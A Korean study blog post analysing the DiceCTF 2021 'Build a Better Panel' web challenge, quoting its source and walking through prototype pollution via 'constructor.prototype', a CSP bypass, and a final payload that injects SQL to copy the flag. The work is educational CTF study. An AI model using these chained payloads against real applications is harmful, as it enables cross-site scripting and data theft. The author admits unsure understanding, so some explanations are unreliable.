본문 바로가기

웹/CTF study & write up

ctf study #4

ctf 웹 문제를 분석하거나 풀어보면서 공부하는 스터디 글입니다.

 

1. CTF 문제

DiceCTF 2021의 Build a Better Panel문제를 분석했습니다.

라업은 아래의 라업들을 참고했습니다.(첫 번째 라업은 내려간것 같습니다...)

blog.bi0s.in/2021/02/09/Web/BuildAbetterPanel-dice21/ 

 

Build A Better Panel - Dice CTF 2021 | bi0s

Official blog of team bi0s

blog.bi0s.in

github.com/aszx87410/ctf-writeups/issues/18

 

DiceCTF 2021 - Build a Better Panel · Issue #18 · aszx87410/ctf-writeups

It's harder version of Build a Panel, much harder. It's similar to easier version but with a huge difference: the admin will only visit sites that match the following regex ^https:\/\/build...

github.com

 

2. 취약점 목록

1. Prototype Pollution

2. CSP Bypass

3. SQLi

3. 분석

1. Prototype Pollution

라업들을 살펴보면 가장 먼저 주목한 코드 부분이 아래의 코드입니다.

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const safeDeepMerge = (target, source) => {
    for (const key in source) {
        if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                safeDeepMerge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

위 코드에서 '__proto__'부분을 주목해야 합니다. 이 부분은 자바스크립트의 prototype이라는 개념이 사용된 부분입니다. prototype부분은 다른 객체지향 프로그래밍 언어에서 사용하는 클래스와 유사하지만 다른 기능입니다. 이 개념은 프로그래밍 언어의 개념이다 보니 아래의 링크를 첨부합니다.

medium.com/@bluesh55/javascript-prototype-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0-f8e67c286b67

 

[Javascript ] 프로토타입 이해하기

자바스크립트는 프로토타입 기반 언어라고 불립니다. 자바스크립트 개발을 하면 빠질 수 없는 것이 프로토타입인데요. 프로토타입이 거의 자바스크립트 그 자체이기때문에 이해하는 것이 어렵

medium.com

 

여기서 주목할 점은 자바스크립트의 prototype은 prototype pollution이라는 취약점이 존재합니다. 여기서 문제에서 제공한 Embedly Cards 부분이 중요해집니다. 제가 이 문제를 해석하면서 가장 헷갈렸던 부분인데 계속해서 찾아보고 곰곰히 생각해보니 아마 아래의 PoC의 조건(__proto__[onload]=alert(1)을 만족하게 되면 아래의 임베디드 에디터를 페이지에 추가하는 것 같습니다. 그래서 prototype pollution 취약점을 통해 이 부분을 조작해서 xss가 가능해지도록 만들어야되는 문제입니다.

 

여기서 prototype pollution 취약점이 무엇인지 짚고 넘어가야 합니다. prototype pollution은 위에서 설명한 자바스크립트의 prototype부분의 특성을 이용해서 다른 변수의 값을 변경하는 것입니다. 즉 a.__proto__.bss=1이라고 값을 설정하면 다른 객체 b.bss가 1로 설정되는 성질을 이용하여 공격하는 과정입니다. 이 공격에 대해서 제가 참고하면서 공부한 링크들입니다.

www.hahwul.com/2019/05/01/jqeury-prototype-pollution-cve-2019-11358/

 

jQeury prototype pollution(CVE-2019-11358)

Security engineer, Developer and H4cker

www.hahwul.com

jjy-security.tistory.com/30

 

javascript proto pollution

공부중입니다... What is prototype 자바스크립트는 객체지향 언어이지만 C++이나 JAVA와 같은 class가 없다. 대신 protoype이라는 개념이 등장한다.(prototype에 대해서 잘 설명한 글의 링크가 밑에 있다. 따

jjy-security.tistory.com

blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

 

Node.js에서의 프로토타입 오염 공격이란 무엇인가

__proto__을 이용한 프로토타입 오염(prototype pollution) 공격의 원리를 설명하면서 노드 환경에서 실제 공격이 가능한 사례를 함께 소개합니다.

blog.coderifleman.com

하지만 위 코드에서는 __proto__라는 문자를 사용하지 못하도록 조건문으로 막아놓았습니다. 하지만 다른 방법으로 prototype을 변조할 수 있습니다. 바로 Object.prototype을 이용하는 방법입니다.

 

자바스크립트에서Object.prototype={}.__proto__를 의미하게 됩니다. 그래서 아래처럼 코드를 수정하게 되면

const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
  for (const key in source) {
    if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
      if(key !== '__proto__'){
        safeDeepMerge(target[key], source[key]);
      }
    } else {
      target[key] = source[key];
    }
  }
}

const userWidgets = JSON.parse(`{
  "constructor": {
    "prototype": {
      "onload": "console.log(1)"
    }
  }
}`)

let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
console.log(Object.prototype.onload) // console.log(1)

필요한 조건을 만족하도록 onload의 값을 수정해줄 수 있습니다.

// create widget
app.post('/panel/add', (req, res) => {
    const cookies = req.cookies;
    const body = req.body;

    if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
        db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
            if(err){
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        console.log(cookies);
        console.log(body);
        res.send('something went wrong');
    }
});

app.post('/panel/widgets', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        const panelId = cookies['panelId'];

        query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
        db.all(query, [panelId], (err, rows) => {
            if(!err){
                let panelWidgets = {};
                for(let row of rows){
                    try{
                        panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
                    }catch{
                        
                    }
                }
                res.json(panelWidgets);
            }else{
                res.send('something went wrong');
            }
        });
    }
});

그 후 문제의 위젯을 만드는 부분을 이용하여 앞서 설명했던 내용들을 추가하여 onload=alert(1)이라는 값을 설정해주어야 합니다. 위 코드에서 주목할 점은 JSON.parse를 사용해서 새로운 위젯을 만든다는 사실을 알 수 있습니다. 그리고 위젯의 데이터 값은 JSON.stringify 형식으로 넣어주면 됩니다. 그렇게 해서 완성된 코드는 아래와 같습니다.

console.log(
  JSON.stringify({
    widgetName: 'constructor',
    widgetData: JSON.stringify({
      prototype: {
        onload: `alert(1)`
      }
     }) 
  })
)

하지만 이렇게 만든 위젯을 통해 XSS 공격을 실행시키려고 하면 CSP에 막히게 됩니다.

 

2. CSP Bypass

default-src 'none';
script-src 'self' http://cdn.embedly.com/; 
style-src 'self' http://cdn.embedly.com/; 
connect-src 'self' https://www.reddit.com/comments/;

라업에서 볼 수 있는 에러 메시지와 CSP 상세 내용입니다. sript-src, style-src, connect-src 는 'self'로 링크의 정책을 따르지만 하위 도메인은 일치하지 않는 것을 나타내고, default-src(모든 리소스에 대한 정책)는 'none'으로 아무것도 일치하지 않다고 설정되어 있습니다. 이 부분에서 한 라업은 정확히 알고 푼것은 아닌것 같습니다. 이 문제의 쉬운 버전의 문제 페이로드를 응용해서 풀었고, 첨부한 라업 중 첫 번째 라업의 내용을 여기서는 조금 더 중점적으로 보았습니다.

 

라업에서 사용한 csp bypass 방법으로는 json callback을 사용한 것 같습니다. json 형태의 요청은 url과 리턴값으로 callback 함수를 남겨주게 됩니다. 이때, callback 데이터가 들어갈 함수를 지정하는 과정인데, 이 과정에서 <script src="">등으로 값을 text값을 읽어 올 수 있게 됩니다. 그 후 스크립트 raw data를 넘겨주어서 csp를 속이는 동작이 가능합니다. 아마 라업에서 srcdoc함수를 통한 방법도 이 방법과 같은 방법이 아닐까 생각합니다. 더 다양한 csp bypass방법과 csp에 관한 내용은 아래의 링크를 참고하면 좋을 것 같습니다.

www.hahwul.com/2019/01/27/csp-bypass-technique-xss/

 

CSP(Content-Security-Policy) Bypass technique

Security engineer, Developer and H4cker

www.hahwul.com

 

4. 전체 익스코드 분석

console.log(
  JSON.stringify({
    widgetName: 'constructor',
    widgetData: JSON.stringify({
      prototype: {
        srcdoc: `<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>`
      }
     }) 
  }
  
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<link rel=stylesheet href=\\\"https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1\\\"></link>\"}}"}

이 코드가 앞서 소개한 prototype pollution을 이용해서 목표하고자하는 값을 변조하기 위해서 큰 틀을 짰고, 그 뒤 csp에 걸리지 않게 우회하는 방법으로 json방식으로 링크를 넘겨주어서 사용하는 방식으로 최종 페이로드를 짠 것 같습니다. 그리고 위젯을 만들 때 플래그를 출력해주는 정보를 db에서 가져오야 하기때문에 이를 쿼리문을 사용해서 공격 페이로드를 구성했습니다. 여기서 SQLi가 사용되었습니다. 이 라업의 최종 페이로드가 가장 잘 정리되어 있어서 가져왔고, 문제와 전체적인 공격과정은 분석에 상세히 적어두었습니다.

5. 리뷰

이 문제에서 처음 csp bypass가 적용되어있는 것을 보았고, 새로운 취약점인 prototype pollution도 알게 되었습니다. 두 개념 모두 저에게는 아직 어려운 개념이어서 제대로 분석을 했는지도 확신이 들지 않는 문제였습니다. 그래서 이 글 작성 이후에도 좀 더 공부해보면서 수정할 부분은 수정해가고, 이  두 공격기법은 따로 정리해두어야 겠다는 생각이 들정도로 저에게는 어느정도 난이도가 있는 개념이었습니다. 그래서 이 문제의 점수는 6점 정도를 주고 싶습니다. 공부를 한다면 아주 못할만한 개념들은 아니며 한 개념은 수업도 들었었기 때문에 제가 추가적으로 내용을 좀 더 꼼꼼히 공부하면 풀이과정 자체를 이해하고 다른 문제에 적용하기에 어려운 개념은 아니라고 생각했기 때문입니다.

' > CTF study & write up' 카테고리의 다른 글

ctf study #6  (0) 2021.02.24
ctf study #5  (0) 2021.02.17
ctf study #3  (0) 2021.02.11
ctf sutdy #2  (0) 2021.02.09
ctf sutdy #1  (0) 2021.02.03